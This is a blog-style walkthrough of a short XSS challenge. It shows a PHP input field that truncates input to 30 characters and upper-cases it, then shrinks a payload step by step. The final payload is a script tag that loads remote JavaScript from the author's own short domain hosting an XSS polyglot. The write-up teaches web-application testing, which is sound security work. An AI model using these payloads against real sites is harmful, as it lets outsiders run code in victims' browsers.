I recently came upon a challenge that required a short XSS payload, so here is my walk-through for that process.
To start, Burp found injection in the following code:
<input type="text" value="<?php echo $_GET['value'] ?>" maxlength="30">
(Note that the maxlength is important to this story, as there is strict validation on that later).
For example, the page was something like this.
Once I submitted a parameter via a GET request, it populated the value attribute.
Here is an example of the finding in Burp.
Testing the Burp payload worked just fine in my example page.
Unfortunately, there was actual server-side validation on the 30 character limit, so that did not work once the test page was modified.
In this case, this is what the application code may have looked like.
<input type="text" value="<?php echo substr($_GET['value'], 0, 30); ?>" maxlength="30">
That said, just removing Burp's unique characters and using a simple alert worked just fine.
However, in this challenge, the application was converting all the input to upper case. This caused my exploit output to look like this:
<input type="text" value=""><SCRIPT>ALERT(1)</SCRIPT>
The final challenge application looked something like this.
<html> <head> <title>Vulnerable to (Short) XSS</title> </head> <body> Here is my vulnerable form: <form> <input type="text" value="<?php echo strtoupper(substr($_GET['value'], 0, 30)); ?>" maxlength="30"> </form> <script> console.log("This is my logger function (I'll need this closing script tag later)!"); </script> </body> </html>
So, in this case, I needed a case-insensitive payload in 30 characters or less. That said, the HTML standard does not require lower-case attributes, so this was probably my best bet (ID, SIZE, SRC, ETC.).
Starting there, I could attempt the following payload:
This payload was too long (48 characters), but it was a good start.
The first modification was to use a protocol-relative address to save 5 characters off the bat. If the browser is currently loading the page through HTTP, then the reference will be HTTP (and the same for HTTPS).
For more information on this, see the following URL - https://www.paulirish.com/2010/the-protocol-relative-url/
That brings it down to 43 characters, which was still a bit long.
Furthermore, since this is just an exploit, I could break the HTML and forego the closing script tag. That said, some browsers require a closing script tag eventually, which is why I added the logger method to my example application.
Also, I could drop the quotes around the script source location, as they are not terribly necessary.
This got my payload down to 32 characters, which was almost small enough for the challenge.
Conclusion & New Service
Finally, for the actual solution, I'd like to introduce r4y.pw! This is my new, short domain hosting an XSS polyglot at index.html. This is the same as brutelogic's 14.rs, only I am able to control it and modify payloads.
Therefore, this allowed me to cut a bunch of characters from my payload, and exploit the XSS.
Here is the final short xss payload and what it looks like on the page:
<input type="text" value=""><SCRIPT SRC=//r4y.pw>(BROKEN HTML)
Finally, this worked, and I was able to pop-up an alert!
In conclusion, a case-insensitive short XSS attack (only 23 characters), hosted on a domain that I own.
All in all, a fun little challenge, and a good example of manual testing, Burp validation, and short xss payloads (also weaponizing beyond alert(1)).